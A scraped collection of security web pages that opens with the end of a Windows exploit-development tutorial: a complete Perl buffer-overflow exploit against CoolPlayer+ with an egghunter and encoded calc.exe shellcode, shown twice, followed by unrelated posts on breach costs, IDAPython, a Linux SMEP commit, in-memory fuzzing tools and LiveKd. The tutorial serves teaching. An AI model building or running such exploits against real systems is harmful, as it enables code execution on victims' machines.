"\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b" . "\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2" . "\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37" . "\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3" . "\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef" . "\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb" . "\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf" . "\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83" . "\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3" . "\x9a\xca\xc0"; my $egg2 = "\x50\x57\x4e\x44\x50\x57\x4e\x44\x02\xeb"; \# egg = PWNDPWND; id = 2; offset to egg1 = 235 my $sploit = $junk.$eip.$egghunter.$nops.$egg1.$shell.$egg2; \# build sploit portion of buffer my $fill = "\x43" x \($buffsize - \(length\($sploit\)\)\); \# fill remainder of buffer for size consistency my $buffer = $sploit.$fill; \# build final buffer \# write the exploit buffer to file my $file = "coolplayer.m3u"; open\(FILE, ">$file"\); print FILE $buffer; close\(FILE\); print "Exploit file \[" . $file . "\] created\n"; print "Buffer size: " . length\($buffer\) . "\n"; 
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495 | \#\!/usr/bin/perl\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# Exploit Title: CoolPlayer+ Portable v2.19.4 - Local Buffer Overflow Shellcode Jump Demo\# Date: 12-24-2013\# Author: Mike Czumak \(T\_v3rn1x\) -- @SecuritySift\# Vulnerable Software: CoolPlayer+ Portable v2.19.4\# Software Link: http://portableapps.com/apps/music\_video/coolplayerp\_portable\# Tested On: Windows XP SP3\# Based on original POC exploit: http://www.exploit-db.com/exploits/4839/\# Details: Egg Sandwich Egghunter Demo\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# my $buffsize = 10000; \# set consistent buffer size my $junk = "\x90" x 260; \# nops to slide into $jmp; offset to eip overwrite at 260my $eip = pack\('V',0x7c86467b\); \# jmp esp \[kernel32.dll\] \# loop\_inc\_page:my $egghunter = "\x66\x81\xca\xff\x0f"; \# OR DX,0FFF ; get next page&nbsp; \# loop\_inc\_one:$egghunter = $egghunter . "\x42"; \# INC EDX ; increment EDX by 1 to get next memory address \# check\_memory:$egghunter = $egghunter . "\x52"; \# PUSH EDX ; save current address to stack$egghunter = $egghunter . "\x6a\x43"; \# PUSH 43 ; push Syscall for NtDisplayString to stack$egghunter = $egghunter . "\x58"; \# POP EAX ; pop syscall parameter into EAX for syscall$egghunter = $egghunter . "\xcd\x2e"; \# INT 2E ; issue interrupt to make syscall$egghunter = $egghunter . "\x3c\x05"; \# CMP AL,5 ; compare low order byte of eax to 0x5 \(indicates access violation\)$egghunter = $egghunter . "\x5a"; \# POP EDX ; restore EDX from the stack$egghunter = $egghunter . "\x74\xef"; \# JE SHORT ;if zf flag = 1, access violation, jump to loop\_inc\_page \# check\_egg$egghunter = $egghunter . "\xb8\x50\x57\x4e\x44"; \# MOV EAX,444E5750 ; valid address, move egg value \(PWND\) into EAX for comparison$egghunter = $egghunter . "\x8b\xfa"; \# MOV EDI,EDX ; set edi to current address pointer for use in scasd$egghunter = $egghunter . "\xaf"; \# SCASD ; compare value in EAX to dword value addressed by EDI \# ; increment EDI by 4 if DF flag is 0 or decrement if 1$egghunter = $egghunter . "\x75\xea"; \# JNZ SHORT ; egg not found, jump back to loop\_inc\_one$egghunter = $egghunter . "\xaf"; \# SCASD ; first half of egg found, compare next half$egghunter = $egghunter . "\x75\xe7"; \# JNZ SHORT ; only first half found, jump back to loop\_inc\_one \# found\_egg$egghunter = $egghunter . "\x8b\xf7"; \# MOV ESI,EDI ; first egg found, move start address of shellcode to ESI for LODSB $egghunter = $egghunter . "\x31\xc0"; \# XOR EAX, EAX ; clear EAX contents$egghunter = $egghunter . "\xac"; \# LODSB ; loads egg number \(1 or 2\) into AL$egghunter = $egghunter . "\x8b\xd7"; \# MOV EDX,EDI ; move start of shellcode into EDX$egghunter = $egghunter . "\x3c\x01"; \# CMP AL,1 ; determine if this is the first egg or last egg$egghunter = $egghunter . "\xac"; \# LODSB ; loads size of shellcode from $egg1 into AL$egghunter = $egghunter . "\x75\x04"; \# JNZ SHORT ; cmp false, second egg found, goto second\_egg \# first\_egg$egghunter = $egghunter . "\x01\xc2"; \# ADD EDX, EAX ; increment EDX by size of shellcode to point to 2nd egg$egghunter = $egghunter . "\x75\xe3"; \# JNZ SHORT ; jump back to check\_egg  \# second\_egg $egghunter = $egghunter . "\x29\xc7"; \# SUB EDI, EAX ; decrement EDX to point to start of shellcode$egghunter = $egghunter . "\xff\xe7"; \# JMP EDI ; execute shellcode my $nops = "\x90" x 50; my $egg1 = "\x50\x57\x4e\x44\x50\x57\x4e\x44\x01\xe3"; \# egg = PWNDPWND; id = 1; offset to egg2 = 227 \# Calc.exe payload \[size 227\]\# msfpayload windows/exec CMD=calc.exe R | \# msfencode -e x86/shikata\_ga\_nai -t perl -c 1 -b '\x00\x0a\x0d\xff'my $shell = "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9" ."\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" ."\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" ."\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" ."\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1" ."\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" ."\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" ."\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b" ."\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2" ."\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37" ."\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3" ."\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef" ."\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb" ."\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf" ."\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83" ."\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3" ."\x9a\xca\xc0"; my $egg2 = "\x50\x57\x4e\x44\x50\x57\x4e\x44\x02\xeb"; \# egg = PWNDPWND; id = 2; offset to egg1 = 235 my $sploit = $junk.$eip.$egghunter.$nops.$egg1.$shell.$egg2; \# build sploit portion of buffermy $fill = "\x43" x \($buffsize - \(length\($sploit\)\)\); \# fill remainder of buffer for size consistencymy $buffer = $sploit.$fill; \# build final buffer \# write the exploit buffer to filemy $file = "coolplayer.m3u";open\(FILE, ">$file"\);print FILE $buffer;close\(FILE\);print "Exploit file \[" . $file . "\] created\n";print "Buffer size: " . length\($buffer\) . "\n";  
---|---  
Give it a try and you should see…

<img src='img/Temp2_9770.png' width='286' height='181' alt='asx2mp3_calc' />

I’ve also included the C version here in case you want to try it on its own:

Egg Sandwich

egg\_sandwich.c

4.1 KiB

261 Downloads

Details

I wouldn’t be surprised if I wasn’t the first to think of this “Egg Sandwich”
approach, though I couldn’t find any other references. It does have some
disadvantages:

  * At 50 bytes, it’s 18 bytes larger than the NtDisplayString Egghunter.
  * In its current state it accommodates a single byte for the offset size tag, meaning the shellcode is limited to 255 bytes or smaller. That could be adjusted, though it will likely increase the size of the Egghunter code.

Anyway, at the very least it may get you thinking of other ways to implement
Egghunters or maybe even improve upon this one.

### Conclusion

Hopefully, this installment of the Windows Exploit Development Series provided
a thorough introduction to the Egghunter technique and how it can help execute
your shellcode even when you’re faced with a limited amount of reachable
buffer space. Stay tuned for Part 6, where I’ll cover Structured Exception
Handler \(SEH\) based exploits, a more reliable alternative to the standard
EIP overwrite.

<img src='img/Temp2_9771.png' width='30' height='19' />

Related Posts:

  * Windows Exploit Development – Part 1: The Basics
  * Windows Exploit Development – Part 2: Intro to Stack Based Overflows
  * Windows Exploit Development – Part 3: Changing Offset and Rebased Modules
  * Windows Exploit Development – Part 4: Locating Shellcode with Jumps
  * Windows Exploit Development – Part 5: Locating Shellcode with Egghunting
  * Windows Exploit Development – Part 6: SEH Exploits
  * Windows Exploit Development – Part 7: Unicode Buffer Overflows

### Share this:

  * Google
  * Twitter
  * Facebook
  * LinkedIn
  * Email
  * Pinterest
  * Reddit
  * 

# Get hacked, and watch your company’s share price plummet

**Created:**| _5/31/2017 6:09:42 PM_  
---|---  
**Updated:**| _5/31/2017 6:09:42 PM_  
**Author:**| __  
**Tags:**| _security opinion eco_  
  

  

# Get hacked, and watch your company’s share price plummet

By Graham Cluley on May 30, 2017 |  0 Comments
Data breaches have an impact. We all know that.

Most obviously the aftermath is felt by the victims - your customers' personal
and sensitive information may have been exposed, malicious hackers may have
exploited stolen credentials to break into other systems, hacked data could
have been abused to commit identify theft or to defraud.

A side effect of this is that your customers' loyalty in your organisation may
be shaken. They may simply decide that enough is enough, and that they aren't
prepared to do business with you anymore. Companies spend years building a
reputation, only to have them destroyed in minutes by a hacker.

A new study by the Ponemon Institute has explored the impact of data breaches
on a company's reputation and share value, and come up with some interesting
conclusions.

For the purposes of the report, researchers analysed 113 publicly traded
companies that experienced a data breach that saw customer or consumer data
being stolen by hackers.

Tracking the stock prices for 30 days prior to the announcement of the breach
and 90 days after, the analysis discovered that the average stock price
dropped 5% immediately upon disclosure. Share price recovery, however,
depended on some factors:

"Companies that self-reported their security posture as superior and quickly
responded to the breach event recovered their stock value after an average of
7 days."

"In contrast, companies that had a poor security posture at the time of the
data breach and did not respond quickly to the incident experienced a stock
price decline that on average lasted more than 90 days."

The report, which surveyed over 500 consumers alongside almost 800 IT
practitioners and senior-level marketing professionals, reported that 31% of
consumers said they discontinued their relationship with companies that had
suffered a data breach. 65% of those consumers who had been affected by one or
more breaches said that they had lost trust in breached organisations.

None of which, of course, is good for business.

What is perhaps most alarming in the report is the apparent disconnect between
what consumers expect of the companies storing their data, and the companies
themselves.

80% of consumers, according to the survey, believe that companies have a
responsibility to take reasonable precautions to ensure their personal
information is secured - and yet only 48% of marketing chiefs and 48% of IT
practitioners agreed.

Only 47% of those marketing staff surveyed, and 46% of the IT security
professionals, felt that organisations have an obligation to control access to
consumers' information - a stark difference from the 71% of consumers who feel
that their data should be treated with greater care.

And alarms should be sounded about the public's perception of security and
privacy in the healthcare industry.

80% of consumers say that they trust healthcare providers to keep their
personal data safe, compared to 26% who trust credit card companies. But,
Ponemon reports, healthcare organisations account for over a third of all data
breaches compared to a mere 4.8% affecting financial organisations. The banks,
the credit card companies, the finance companies have invested significantly
more in computer security than their peers in the often poorly-maintained
healthcare industry.

Whatever your company's line of business you must always remember that your
customers are placing their trust in you to do everything possible to respect
the security and privacy of their private information. Shirking the
responsibility puts you on the road to a data breach which could result in you
losing clients, have a hit on the share price, and potentially cost you
millions of dollars.

Share This Post On

  *   *   *   * .

### Author: Graham Cluley

Graham Cluley is an award-winning security blogger, researcher and public
speaker. He has been working in the computer security industry since the early
1990s, having been employed by companies such as Sophos, McAfee and Dr
Solomon's. He has given talks about computer security for some of the world's
largest companies, worked with law enforcement agencies on investigations into
hacking groups, and regularly appears on TV and radio explaining computer
security threats. Graham Cluley was inducted into the InfoSecurity Europe Hall
of Fame in 2011, and was given an honorary mention in the "10 Greatest Britons
in IT History" for his contribution as a leading authority in internet
security.

Twitter Google+

### Subscribe to Blog Updates

Email\*

  

### NEW Resource\!

  

### Posts by Months

  * May 2017 \(17\)
  * April 2017 \(15\)
  * March 2017 \(16\)
  * February 2017 \(13\)
  * January 2017 \(14\)
  * December 2016 \(11\)
  * November 2016 \(14\)
  * October 2016 \(11\)
  * September 2016 \(10\)
  * August 2016 \(15\)
  * July 2016 \(12\)
  * June 2016 \(15\)
  * May 2016 \(10\)
  * April 2016 \(13\)
  * March 2016 \(15\)
  * February 2016 \(14\)
  * January 2016 \(6\)
  * December 2015 \(6\)
  * November 2015 \(9\)
  * October 2015 \(8\)
  * September 2015 \(11\)
  * August 2015 \(8\)
  * July 2015 \(10\)
  * June 2015 \(3\)
  * May 2015 \(8\)
  * April 2015 \(6\)
  * March 2015 \(5\)
  * February 2015 \(7\)
  * January 2015 \(8\)
  * December 2014 \(8\)
  * November 2014 \(9\)
  * October 2014 \(8\)
  * September 2014 \(9\)
  * August 2014 \(9\)
  * July 2014 \(8\)
  * June 2014 \(8\)
  * May 2014 \(6\)
  * April 2014 \(8\)
  * March 2014 \(5\)

  

# TippingPoint | DVLabs | MindshaRE: Adding Cross References via IDAPython
**Created:**| _2/23/2012 9:49:52 PM_  
---|---  
**Updated:**| _2/23/2012 9:49:55 PM_  
**Author:**| __  
**Tags:**| _python iDA_  
  

<img src='img/Temp2_8394.gif' alt='DVLabs Logo' />

  1.   2.   3.   4.   5.   6.   7.   8.   9.   10. 

DID YOU KNOW... DVLabs and our Zero Day Initiative were credited with
discovering 17 Microsoft vulnerabilities in 2006 alone.

  * ▼  2012
    * ▼  February \(2\)
      * MindshaRE: Adding Cross References via IDAPython
      * MindshaRE: IDAception
  * ►  2011
  * ►  2010
  * ►  2009
  * ►  2008
  * ►  2007

##  MindshaRE: Adding Cross References via IDAPython

  * By Aaron Portnoy
  * Thu 23 Feb 2012 11:37am 
  * 329 Views 
  * 0 Comments
  * Link

  
  
_MindshaRE is our periodic look at some simple reverse engineering tips and
tricks. The goal is to keep things small and discuss every day aspects of
reversing. You can view previous entries by going through our blog history or
querying a search engine for dvlabs mindshare._  
  
If there's one thing I've noticed about working with as many reverse engineers
as I have, it is that we all use our tools differently. Many of the best
reversers I've met barely touch a debugger and prefer to do all their analysis
statically. Others, like myself, prefer to have static and dynamic tools
providing each other with complementary data. Well, for those of you who
prefer the static method, here's a quick way to make IDA a bit more useful
when dealing with dynamic code flow.  
  
Quite often \(especially with C++\) you'll run across dynamic calls such as:  
  

[code]

    call ebx
    
[/code]

or

[code]

    call [ebp+var_4]
    
[/code]

  
  
...and so forth. Recently, I came across a piece of software that had a 40+
case switch statement. In each case, they would load a unique code pointer
into a register. All the cases then lead to a basic block that called that
pointer. IDA did not provide me the cross references to all of the code
locations. In fact, here is a graph of all paths from the switch statement to
a sprintf call:  
  
<img src='img/Temp2_8393.gif' />  
  
With a bit of IDAPython, we can quickly add all the proper cross references
\(edges\) and get a more useful idea of the possible paths to sprintf.  
  
To do this, we can utilize the idaapi.add\_cref function. The function
definition from idaapi.py is:  
  

[code]

    def add_cref(*args):
      """add_cref(ea_t frm, ea_t to, cref_t type) -> bool"""
      return _idaapi.add_cref(*args)
    
[/code]

  
  
Pretty simple, it takes an address source, an address destination, and a code
flow type. For our example, we are going to want to give it a flow type of
'call near' which is defined by the idaapi.fl\_CN constant. For reference, the
cross reference types defined in idc.py are:  
  

[code]

    #      Flow types (combine with XREF_USER!):
    fl_CF   = 16              # Call Far
    fl_CN   = 17              # Call Near
    fl_JF   = 18              # Jump Far
    fl_JN   = 19              # Jump Near
    fl_F    = 21              # Ordinary flow
    
[/code]

  
  
So, basically what I did with the application I was looking at, was call
idaapi.add\_cref\(address\_of\_call\_reg32, address\_of\_func, idaapi.fl\_CN\)
for each function address loaded in each switch case. After doing so, the path
from the switch function to sprintf looked a bit more accurate:  
  
<img src='img/Temp2_8395.gif' width='85%' height='85%' />  
  
These graphs were created using the GraphViewer class \(which you can read
more about on the Hex-Rays blog here\) If you create a dictionary that maps
node IDs to function addresses when AddNode is called, you can make the nodes
clickable with code inside the OnDblClick handler:  
  

[code]

    def OnDblClick(self, node_id):
        f_addy = self.id_to_f[node_id]
        idc.Jump(f_addy)
    
[/code]

  
  
This all becomes a lot more useful when you combine the ability to add edges
with code for parsing RTTI and scraping vftables.  
  

# git.kernel.org - linux/kernel/git/torvalds/linux-2.6.git/commit

**Created:**| _5/21/2011 9:52:34 AM_  
---|---  
**Updated:**| _5/21/2011 9:52:58 AM_  
**Author:**| __  
**Tags:**| _security Linux kernel_  
  

author | Linus Torvalds <torvalds@linux-foundation.org> |   
---|---|---  
| Fri, 20 May 2011 01:10:17 +0000 \(18:10 -0700\)  
committer | Linus Torvalds <torvalds@linux-foundation.org> |   
| Fri, 20 May 2011 01:10:17 +0000 \(18:10 -0700\)  
commit | 5765040ebfc9a28d9dcfaaaaf3d25840d922de96  
tree | 6fd0c9950beb3c9730ede405269c9a47bbcbf877 | tree | snapshot  
parent | 08839ff8276bd1ba0ce8b2d595f9fe62a5b07210 | commit | diff  
parent | de5397ad5b9ad22e2401c4dacdf1bb3b19c05679 | commit | diff  
Merge branch 'x86-smep-for-linus' of
git://git./linux/kernel/git/tip/linux-2.6-tip  
  
\* 'x86-smep-for-linus' of
git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip:  
x86, cpu: Enable/disable Supervisor Mode Execution Protection  
x86, cpu: Add SMEP CPU feature in CR4  
x86, cpufeature: Add cpufeature flag for SMEP

# In Memory Fuzzing | Peter Van Eeckhoutte's Blog
**Created:**| _10/23/2010 8:50:17 AM_  
---|---  
**Updated:**| _10/23/2010 8:51:09 AM_  
**Author:**| __  
**Tags:**| _windows security Exploit Fuzzer awesome_  
  

## In Memory Fuzzing

October 20th, 2010 | <img src='img/Temp2_4376.png' width='14' height='14' /> Author: sinn3r
**Viewed 8 time\(s\)** | **Add this post to Your Favorite Posts** | Print This Post | <img src='img/Temp2_4381.png' />This page as PDF
### Introduction

In memory fuzzing is a technique that allows the analyst to bypass parsers;
network-related limitations such as max connections, buit-in IDS or flooding
protection; encrypted or unknown \(poorly documented\) protocol in order to
fuzz the actual underlying assembly routines that are potentially vulnerable.

Prior to the development of my fuzzing toolset, I was unsatisfied \(for now\)
with all the publicly available in memory fuzzers, because most of them are
just too basic and require too much prep time in advance — flow analysis,
reverse code engineering, etc — which obviously has a high learning curve and
time consuming tasks, and most people would rather just stick with traditional
fuzzers \(which usually can accomplish the exact same thing\). Yes, you DO
need some reversing skills to make in memory fuzzing useful, but honestly it
doesn’t really have to be all that difficult to start fuzzing and find bugs…
as long as you have the right approach.

One of the approaches we do here is by tracing user input automatically at
real time, and log all the important functions that process that input, and
then fuzz them. A proof of concept \(Tracer.py and InMemoryFuzzer.py\) is also
available to download:

http://redmine.corelan.be:8800/projects/inmemoryfuzzing

#### **Special thanks to:**

  * Peter Van Eeckhoutte, and members of Corelan Security
  * Offensive Security Exploit Database
  * dookie2000ca for all the feedback

#### **Requirements/Setup:**

In order to use these tools, you should have:

  * Windows XP SP2 or SP3 \(not tested on SP1\), or newer
  * IDA 4.9, or pvefindaddr. The difference is pvefindaddr is more automatic, IDA isn’t. IDA, however, will find all/more functions though
  * Python 2.5.0 \(installed from Immunity Debugger\)
  * Pydasm: http://therning.org/magnus/archive/278
  * Paimei: http://www.openrce.org/downloads/details/208/PaiMei

Pydbg is probably the trickiest to install so we’ll go throughly the steps
briefly:

  1. Install Python 2.5. The one I tested was Python 2.5 \(r25:51908, Sep 19 2006\)
  2. Download Pydasm \(for Python 2.5\) from the URL above.
  3. Download Paimei. Extract the package, go to the "installers" folder, and run the installer.
  4. Remove C:\Python25\Lib\site-packages\pydbg\pydasm.pyd
  5. Now you’re ready to test out Pydbg. Open command prompt, and type the following. If you no errors after importing Pydbg, that means your system now supports Pydbg:

<img src='img/Temp2_4374.png' width='521' height='259' alt='import_pydbg' />

### Tracer.py: How It Works

As I previously mentioned, in order to deploy an in memory fuzzer, you must go
through a good amount of analysis to identify all the functions that process
your input, and log the function entry address, RETN addresses, and the
argument you want to fuzz. This makes fuzzing very time consuming, simply not
something that can be done in minutes. The purpose of Tracer.py is to ease off
this process, allowing the user to track the control flow and user input at
real time.

This is done by first searching all the function addresses in the application,
put a hook point in every one of them, and then start monitoring. If a hooked
function is detected, we log the function and the argument, and keep
monitoring. Since this happens at real time, even with the most basic tool
like this can still see some kind of pattern in the log, which gives us an
idea where to fuzz.

The following example shows how to recognize this pattern in Tracer.py:

<img src='img/Temp2_4379.png' width='450' height='400' alt='tracer_screenshot'
/>

### Tracer.py: How To

First, open IDA. If you’re using IDA 4.9 \( see image\):

  1. Click on the Functions tab
  2. Select all the functions \(click the first function -> hold \[shift\] -> select last function\)
  3. Right click -> copy -> paste on notepad. Save it as "**functions.txt** " under the same directory as the script.

<img src='img/Temp2_4377.png' width='541' height='376'
alt='ida49_functions_enum' />

If you’re using IDA Pro 5.5 or higher, the Functions table should be on the
left of the the pretty graph. You can do the same thing \(right click -> copy
and paste\) to obtain all your functions that way.

Second, open the application you want to fuzz. You must do this before running
the script because it needs to attach to the process first.

Third, now that you have a function list \(functions.txt\). Go to command
prompt, and type of the following \(assuming you saved Tracer.py in C:\\\):

> C:>C:\Python25\python.exe Tracer.py
Fourth, the script should find the function list file without problems. Give
it a pattern \(user input\) to look for, select the process you want to
monitor, and the fun begins. Note that a file named
"**new\_functions\_addrs.txt** " will be created — this file contains the same
function addresses, and the correct RETN addresses. You can use this as a
reference later for InMemoryFuzzer.py.

Fifth, now Tracer.py should be monitoring. Go back to the application, feed it
the same pattern, and then you’ll see which functions get triggered. Press
**\[CTRL\]+\[C\]** to terminate the script.

### InMemoryFuzzer.py: How It Works

The idea of how the fuzzer works is simple. Say you have a vulnerable routine
at entry 0x1001BEEF \(aka snapshot point\), which takes the user input as
\[ESP+4\] at the beginning of the prologue, and that function ends at address
0x1001BFEA \(restore point\). We can put a breakpoint at 0x1001BEEF, another
at 0x1001BFEA, and let the application run, as the following diagram
demonstrates:

<img src='img/Temp2_4378.png' width='514' height='106' alt='flow_1' />

Wehen the execution flow hits our first breakpoint \(entry\) for the first
time, we take a snapshot of the state \(threads, stack, registers, flags,
etc\), modify the user input in \[ESP+4\], and resume execution to let the
function to process our data, and hope something crashes. If an exception is
thrown somewhere in the code, we log that, restore the function state, and
redirect the execution flow back to the entry \(0x1001BEEF\), and fuzz again
with a new input, like this diagram:

<img src='img/Temp2_4380.png' width='511' height='141' alt='flow_2' />

Or, no exception is triggered, we end up hitting the second breakpoint, then
all we have to do is restore the state, rewind, and fuzz again:

<img src='img/Temp2_4375.png' width='516' height='135' alt='flow_3' />

### InMemoryFuzzer.py: How To

Before you use the fuzzer, you should already know the following:

  * Which process/dll to fuzz
  * The function entry address\(s\) \(aka your snapshot points\)
  * The restore point\(s\) \(typically a RETN address\)
  * Which function argument\(s\) to fuzz

First thing, open the application you want to fuzz again. And if needed,
change how many times you want to fuzz by editing the "maxFuzzCount" global
variable in the source code. Please note that InMemoryFuzzer.py has two modes
for fuzzing: **Single routine** , or **multiple**. **Single routine mode**
allows the user to put every required information \(function entry, restore
point, argument\) in one line:

> C:>C:\python25\python.exe InMemoryFuzzer.py <Snapshot point> <Restore point>
> <Argument>
So if we were to reuse the same example in the "How it works" section, we
would be feeding the fuzzer with the following:

> C:>C:\python25\python.exe InMemoryFuzzer.py 0x1001BEEF 0x1001BFEA ESP+4
**Multiple-Routine mode** , which is my favorite mode, does not have to called
from the command line. All you must do is prepare**breakpoints.txt** , which
contains information such as the snapshot point/restore point/argument with
the same format: <snapshot point> <restore point> <argument>. Example:

<img src='img/Temp2_4373.png' width='364' height='351' alt='breakpoints_file'
/>

Once you have breakpoints.txt, double click on  InMemoryFuzzer.py, you’ll be
asked which process to attach, trigger the vulnerable routine by feeding some
user input again \(does not have to be the same pattern as you did for
Tracer.py\) and then it’ll start fuzzing once the execution flow hits our
first breakpoint. When the fuzzer is complete, there should be a newly created
folder named "crashbin" under the same directory as the fuzzer. Crash Bin is a
place where InMemoryFuzzer.py stores all the crashes \(htm files\), and the
inputs that caused them. Here’s an example of a crash dump:

<img src='img/Temp2_4372.png' width='366' height='382' alt='dump' />

Each crash dump contains information including:

  * Function entry \(snapshot point\) address
  * Argument
  * Argument length to crash the application
  * Registers \(and what data they’re pointing to\)
  * Disassembled instruction
  * SEH chains and offsets
  * Input that caused the crash

After an exception is found, the rest leaves for the user to analyze. This is
where IDA Pro, or Immunity Debugger becomes handy again.

### Demonstration

In Memory Fuzzer demonstration

_The above video demonstration shows you how to use in memory fuzzing from
vulnerability to exploitation.__You can view the video here as well :
http://www.youtube.com/watch?v=YhyFuAfD7C4_

  

# LiveKd for Virtual Machine Debugging - Mark's Blog - Site Home - TechNet
Blogs

**Created:**| _10/15/2010 1:13:55 PM_  
---|---  
**Updated:**| _10/15/2010 1:14:06 PM_  
**Author:**| __  
**Tags:**| _Debugging windows security reversing visualization_  
  

### LiveKd for Virtual Machine Debugging

<img src='img/Temp2_4967.gif' />markrussinovich

14 Oct 2010 12:00 AM

  * 3

When Dave Solomon and I were writing the 3rd edition of the Windows Internals
book series  _Inside Windows 2000_ back in 1999, we pondered if there was a
way to enable kernel debuggers like Windbg and Kd \(part of the free Debugging
Tools for Windows package that’s available in the Windows Platform SDK\) to
provide a local interactive view of a running system. Dave had introduced
kernel debugger experiments in the 2nd edition,  _Inside Windows NT_ , that
solidified the concepts presented by the book. For example, the chapter on
memory management describes the page frame database, the data structure the
system uses to keep track of the state of every page of physical memory, and
an accompanying experiment shows how to view the actual data structure
definition and contents of PFN entries on a running system using the kernel
debugger. At the time, however, the only way to use Windbg and Kd to view
kernel information was to attach a second computer with a serial “null modem”
cable to the target system booted in debugging mode. The inconvenience of
having to purchase an appropriate serial cable and configure two systems for
kernel debugging meant that many readers skipped the experiments, but
otherwise might have followed along and deepened their understanding if it was
easier.

After giving it some thought, I realized that I could fool the debuggers into
thinking that they were looking at a crash dump file by implementing a file
system filter driver that presented a “virtual” crash dump file debuggers
could open. Since a crash dump file is simply a file header followed by the
contents of physical memory, the driver could satisfy reads of the virtual
dump file with the contents of physical memory, which the driver could easily
read from the \Device\Physical Memory section object the memory manager
creates. A couple of weeks later, LiveKd was born. We expanded the number of
kernel debugger experiments in the book and began using LiveKd in our live
Windows Internals seminars and classes as well. LiveKd’s usage went beyond
merely being an educational tool and over time became an integral part of IT
pros and Microsoft support engineers troubleshooting toolkit. Microsoft even
added local kernel debugging capability to Windows XP, but LiveKd can still do
a few things that the native support can’t, like saving a copy of the system’s
state to a dump file that can be examined on a different system and it works
on Windows Vista/Server 2008 and higher without requiring the system to be
booted in debug mode.

### Virtual Machine Troubleshooting

The rise of virtualization has introduced a new scenario for live kernel
debugging: troubleshooting virtual machines. While LiveKd works just as well
inside a virtual machine as on a native installation, the ability to examine a
running virtual machine without having to install and run LiveKd in the
machine would add additional convenience and make it possible to troubleshoot
virtual machines that are unresponsive or experiencing issues that would make
it impossible to even launch LiveKd. Over the last few years I received
requests from Microsoft support engineers for the feature and had started an
initial investigation of the approach I’d take to add the support to LiveKd,
but I hadn’t gotten around to finishing it.

Then a couple of months ago, I came across Matthieu Suiche’s LiveCloudKd tool,
which enables Hyper-V virtual machine debugging and showed that there was
general interest in the capability. We were so impressed that we invited
Matthieu to speak about live kernel debugging and LiveCloudKd at this
year’sBlueHat Security Briefings, held every year on Microsoft’s campus and
taking place this week where I met him. Spurred on by LiveCloudKd, I decided
it was time to finish the LiveKd enhancements and sent an email to Ken
Johnson, formerly Skywing of Uninformed.org and now a developer in Microsoft’s
security group \(he had published articles revealing holes in 64-bit Windows
“Patchguard” kernel tampering protection several times, so we hired him to
help make Windows more secure\), asking if he was interested in collaborating.
Ken had previously contributed some code to LiveKd that enabled it to run on
64-bit Windows Vista and Windows 7 systems, so working with him was certain to
speed the project – little did I know how much. He responded that he’d
prototyped a tool for live virtual machine debugging a year before and thought
he could incorporate it into LiveKd in a few days. Sure enough, a few days
later and the beta of LiveKd 5.0 was finished, complete with the Hyper-V live
debugging feature.

We picked this week to publish it to highlight Matthieu’s tool, which offers
some capabilities not present in LiveKd. For example, just like it does for
local machine debugging, LiveKd provides a read-only view of the target
virtual machine, whereas LiveCloudKd lets you modify it as well.

### LiveKd Hyper-V Debugging

LiveKd’s Hyper-V support introduces three new command line switches, -p, -hv,
and -hvl:

<img src='img/Temp2_4964.gif' width='554' height='238' alt='image' />

When you’re want to troubleshoot a virtual machine, use –hvl to list the names
and IDs of the ones that are active:

<img src='img/Temp2_4966.gif' width='554' height='185' alt='image' />

Next, use the -hv switch to specify the one you want to examine. You can use
either the GUID or the virtual machine’s name, but it’s usually more
convenient to use the name if it’s unique:

<img src='img/Temp2_4965.gif' width='554' height='407' alt='image' />

